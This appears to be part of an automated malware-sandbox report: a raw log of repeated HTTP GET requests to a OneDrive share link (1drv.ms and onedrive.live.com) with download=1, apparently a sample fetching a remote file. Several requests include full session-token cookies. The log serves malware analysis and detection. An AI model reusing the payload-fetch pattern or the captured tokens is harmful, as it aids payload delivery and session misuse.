Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTE4LCJuYmYiOjE3MjAxMTcxMTgsImdpdmVuX25hbWUiOiI5NiIsImZhbWlseV9uYW1lIjoiQ3VybGV3IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYTY4NGMyZDNmMjI3NjlmMDA1YTQxNjYwMDg4NWNjMTgiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzExOH0.c5hgBrVG4nZ5IagX2MTkcn9cTCbuztUDP5ktCGCpxTXQPdO147NSpXXD98EEWVC_03RXDCA-XUSxSUNXWtUihCsp5PLPJQMSo4m2pIJQw-3CQuEhQgdkxisil3qtAsQ3svtdYudGw7Sv0SLxALHy4vsLm565IWRUWpeC4Lali6I8u1p7w47mt_WVUrEmecdIMyVZlYB0ESSd1cFkF4ausUiFEQT6Fr9v0et09hDiKHp0vOLssyleuVdoY4KagfoRGwys-X0bEK-oIWGpsYa9yK8R7i41gwyMmGzbRfI2vWevzrZOtZazwlph2h1kb-NbWDVjmnd6iT6VMZCHym1p9w; E=P:ieuruVWc3Ig=:Xo6vXw/A+EMPRHo+Zp1xAYU5FzKj3a53CNzjc7wEqPQ=:F; xid=ef475d73-85d0-4d68-88ac-2b30875bbe8a&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTIxLCJuYmYiOjE3MjAxMTcxMjEsImdpdmVuX25hbWUiOiI2MCIsImZhbWlseV9uYW1lIjoiR251IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjI3ZjI4NDE2MTRhYjc4YTZlOTM5Mzk0MjE3MjVjOTYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzEyMX0.CRP_P2wi5Qied15szM9qnBrvjfXGaBY5ra-jX5HVXtNk8wZYQRzYMpJ1fJdm2yQsJYuRqZCDxYrvnyTBQiF6k2cEs6-G34Mp4Zzow-CVvnLjknwRJ234rYnlGqHE6q_yT5-C7nAu8K8i4lPeys63BcCU7OegBWSA1reAQnQJXZe1XnzAnqLIhzODXivfWn6MP5HjmW3WKNUty7x95_ZwVeRNYYQAyo0R2FCBmhAe8S4-eEpumdApnV3_Ky6I0bT1gUgGBI3TFGK7W3UrOpx1ZoUMiEpaDFOv2G00bToywrlUaSCRGNHvjhxRR28yY7GzEqC9qFAY2WWXFei0V7ncMg; E=P:lCTru1Wc3Ig=:vn8cAwnqI90Jh2DnF3gntVhowgpCV6o4POtNH/bqLeE=:F; xid=a38fce7e-c9c1-4a69-b9dd-b97058569348&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTI1LCJuYmYiOjE3MjAxMTcxMjUsImdpdmVuX25hbWUiOiI2NCIsImZhbWlseV9uYW1lIjoiV2F0ZXIgYnVmZmFsbyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImFlOWNiOWFhYzBjYmM5MGJiMjhmNTk4OGYxM2FmMzBhIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxMjV9.BFWhInfJbr0rZPqEG7Ud1kC2NmMU7GjsHWsXELx5HfERkK1PmxE4YGkRP_zM-koP0uF4LaRRFimoHTYeeIOR56DN83NVwTA7LiSdLX3-9LxuX-ztlmgEJTJz6zxB0oZX-9Sr7xVJvkDeQkAKRw9t7V07PEB0k_hNiXLkEW8-9rp88MWrh4Is3nbgKAwGDKgPaAESVw4-oqB8Xv2p_TgBLytiRAptS8F7YMXjVTHKYUfWvE25YtP7q8FdEN4Z_Nx5a6QkgYVmCQTZhEaUYFJoA1noOznRLQQb4apNnYPWe3KFuavT1KuIbB-t4hrVr3vzgB39GbUuU3iMLk3KzeqbPA; E=P:tqDxvVWc3Ig=:jsQvsT81BWyNVdeiGmYJRxVZ9l8fwTMO4nILaXmS73I=:F; xid=35b02a72-ffd8-47f3-9f8d-c81cea55c5bf&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTI5LCJuYmYiOjE3MjAxMTcxMjksImdpdmVuX25hbWUiOiI0NSIsImZhbWlseV9uYW1lIjoiRmx5IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNzFiNTUxNGViZGI4ZmVlYzZhNmVlNDQxMTQ5MDJlYTMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzEyOX0.cJ4g82-bIaVnwlNc1SuLKaUjU4rUuo39j7UBP-c--xsVmTM9r7iRoBUCgeYfvG3QdNFouc8DfHTb9_PgssaBr2CMh_ObkniU13nCHxnDphldH2qKZjGZW6u9iAV0HsxIdqOhT0k3Y3KYHFYFr_XluGPJsFL0kuajCpOwYt34T-5DXsTmNlsN6NRyGdElhOCLahh-S1GgP9x8qXQF261wkAvN0HU1DYLbVmpvx7eG2iDSX4Bsqn98zGFfp9xS5iUqGTbbEzFMifE9Kvt36_ffs_HHMQLJgxtZtdi765L-DMbxZ-Omn9dbxS1fqlGsl2DWJpsWuFz2rX2Ai4H8LyeVpw; E=P:wglpwFWc3Ig=:73sDlOZQKUqQNlJ+ZBLNylXKsyMchTuxk/4m1r7Ed4U=:F; xid=1c0ebc04-624e-482e-aa61-0d921ef35374&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTM0LCJuYmYiOjE3MjAxMTcxMzQsImdpdmVuX25hbWUiOiI2MSIsImZhbWlseV9uYW1lIjoiQWxsaWdhdG9yIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMGU5M2E2MjQ3MTBjYWI2ODc0NmEwOGQ5OTkwNTU2ZmQiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzEzNH0.LpUIBLBOxUApsU8Qcqfm9cYrj2eDbaU909co-rMu6BEifz707QvA9FCIqKRqeeg1bBUehRQHh-V9rmKjoFHgXRLCfCI7VG0dMVRy56VW9gDf83PZoqVQuFU-6af1KxkbZg_J_mT9qh8vO0GG5SViihSG1PIp8B171-ulXmtP-4i5S-Zuiv0ouOTune53dHmsJZN4kGQlrVBISELOjeRfxuN5n3t5CkDcHJdSdVm5u-sO0pgpwcsyvF4AniXyouXr_CGpcUZNjew82chgx-Nz-vZcW9XBe1Ei6BfZCFEw3UqLo7FLyfDfuZS-TihU_O3tGN6-riwGWM-KNBpELF3uog; E=P:UJdWw1Wc3Ig=:XkXTLw+0lxNnCsqxXQMYEeaU6ebFXvgyTa+WNXAd1Qo=:F; xid=09d1d6cd-9403-4215-9e16-80fcbbd1b1a6&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTM3LCJuYmYiOjE3MjAxMTcxMzcsImdpdmVuX25hbWUiOiI3MiIsImZhbWlseV9uYW1lIjoiSHVtbWluZ2JpcmQiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJmYWQyMTMyNzE1YTBkMTMzMjgxNjEzYjlkNTYzMTM0ZCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTM3fQ.JsI4_ZlOYb5i5OYgRHMQ4rDMTA6I-hYAEFBt002eNqSUfdP-5_5hyJoFo67L6W1xLugPJqwH49_vrx9gDxciR6AquC7zn8-Bd6vYMfT20cVdW_IPfZRkF69_lWGS6r6WTSmIzgbejrMTiaLxs3fCbSVhEVeIIODrZ1iR0V9k9qoKcm9zqORtdPrYKt66EpF87_jjh0vebZKJJpuHVgkW3UBSnz4JNNhwXN_qjbKcu8fabN_oSlILpnxzaK8PvjUsZYt83szEoHRii5QbiooyScQ4wsnFALvGJ9hqVkypJZZrglUS03l3UC2LUazi_J5drsWZ27FdSNLS-R0SlN3bkA; E=P:d11ZxVWc3Ig=:+iB5gU+U7lqn5UnP/01sBui2eDnCoMbCCA96VUIKLdc=:F; xid=83985dbd-2dea-461b-ae49-5a1016d72862&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTQxLCJuYmYiOjE3MjAxMTcxNDEsImdpdmVuX25hbWUiOiI5OCIsImZhbWlseV9uYW1lIjoiRHVjayIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6Ijk4ZWM0NTBjY2ExZjdlNjc5MWIzODc0YzYyMWVhNWJhIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNDF9.Uoq2qfUe77XwkeSflU7OAmzOtgmcfO_LV3v4_WURAD3wn7JzQ8fbvxeurC7Ikf8X8ce1kX0riSznfwJS1Yz7vZIkkS9C50peW5ASyKGhvIFMm0LjRfqDq1iQktF4abwcTovCO0ZkaO0BuEXofqIE9b12whN4gfHEEWFD3BelzTGOyTClMQZIT4q9AEh0nlByUvUCDKK3YI5Hat5Bb2s-cDfxbwstgCHzht3dwx6qL-DCXkBd9BiWGiSsRV1pfposM2kDg22FGg-7gaookDu7eIIMeCgoqaV-lIv9BeAQHeDMVkauz8BozITxyHKAjHF-1QHiuPyt_zHk2kg0sQAKUw; E=P:k+LIx1Wc3Ig=:MSojVXZIFgWlcT/k4TzMDs/xXeOOu5of6fVyFgBm7rg=:F; xid=948252cc-c3c5-414a-b179-10fe7892825b&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTQ2LCJuYmYiOjE3MjAxMTcxNDYsImdpdmVuX25hbWUiOiI1MyIsImZhbWlseV9uYW1lIjoiUmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjkxOGM4YmNiODUzODFmMTU4YmVkNjRjNWE4YzE4YzUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzE0Nn0.FrMtxzxK4-xYrS9qoakXEOQ0lfm2WSCp3fqjOuOMicBr0PCEh4YeuHxFkKsf-r-ZEn_gRCqTPYQhyNomlmCK4TONeYok085BvM_FhPkxTwNlvKbHmzSIuKaNdDZk4Ku-X7SxWsv94H1MwlcoOiqdk6mYMbe7zu9wx7lfrWn0wihXo9_ofH85vw-WAbWGjv942rviVVJvGHSj7zbQcGhTGg9hxEr8634c23vBQzg3qPj_2SqiQKvzZYqA-Vl8SJD5jE7utL37B4g3rlLgEb1vSluOdQ9ZB2nQZWoFLkw0xHi0WlnwLG7iLESAEoLccb5qYPbNHepNDUS9dUUenHgi_A; E=P:ObOwylWc3Ig=:BtmZKUqJMv0p06vovOGQLOW1o/QH3DcnNVW+hbiHl+c=:F; xid=8fb70353-fe7e-4175-89bd-9054dfd17285&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTQ5LCJuYmYiOjE3MjAxMTcxNDksImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiTGFwd2luZyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjE4Y2QyOTIxNTdjMGU2MDI4ZmE3YzAzMmM2NmI4YmQ2IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNDl9.cN2R0E5xEMFdkQvzoc1TbWVNp-RbfNVD3AOEin767XVNcjyuVHMN4VYAUH9xWim_k3SCH_7g-65MX6tin3goUwSdM9E7t8AhmUDkDhA42tDAFTgF_V5KYln0ombETZsfhVngPX2KqDU1kN01Tr3fEiUvCW1kNJSYZ6GTOrpX1-fQy5Jvxdcmj10fna-7u4gC8TajKk1e4onrUJBdLptzbgFTnrO7zlH-43Wyv9RHkxHIx1uZ8Zr4-9QDYF-oXqtxfvI2cObfEk5rMWzvaU02dow_5uo7V4pXMs3iZjIIr_6FUG4C9VG93mrIhmN5Qg9LgMEkMkdoL2j925i-Yy8XrQ; E=P:L3NTzFWc3Ig=:1+KmPO39dZbl6Wih+YjrtwYRLIUbwNZU7nkPBkyFZEc=:F; xid=3b700123-12ff-46d3-9edc-8c3fa0c43260&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTU1LCJuYmYiOjE3MjAxMTcxNTUsImdpdmVuX25hbWUiOiIxMSIsImZhbWlseV9uYW1lIjoiQ2hpY2tlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjRlNThmMTg2ZWNkMWYxNTdjNzU1NzIwMDExMWQ0NzVlIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNTV9.lK8rvXXiilyThAcBJarnP31O_yQBefAg4e2NNWfs91pcE1z2bRcLp4eGMU0j7_ASFXPkMKzyn2GL5FdnVeYoz9Qo2vOKN4dikOK0aEGAprBXVhvlKymhfONb__-k_zqpmkANAHH4KtqJp55jOe4cBq1VcABUAdBR72HuJCiD__gm5aFrm305i226tk0Hr6bnB86qIVzsjCIjFGQCJbckmPOCesEksNLaXiIgTNLI7iOZr6trr182ZV_iB2YQMdhBJVr5MTw7IFJDVU0lJhm8sjhNLrB090bx4tyscYpZWHO9eFvKuyAd_ChJ1H_uQY8jfTgkI-l3xHv7uMJ-IwLOfQ; E=P:orH/z1Wc3Ig=:rccDb01RL0hdlJdg5QZHqA54dc4qjOTPQ+NAZhmIznc=:F; xid=ee90522b-e9a2-4266-b95b-0d56c5b4fee7&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
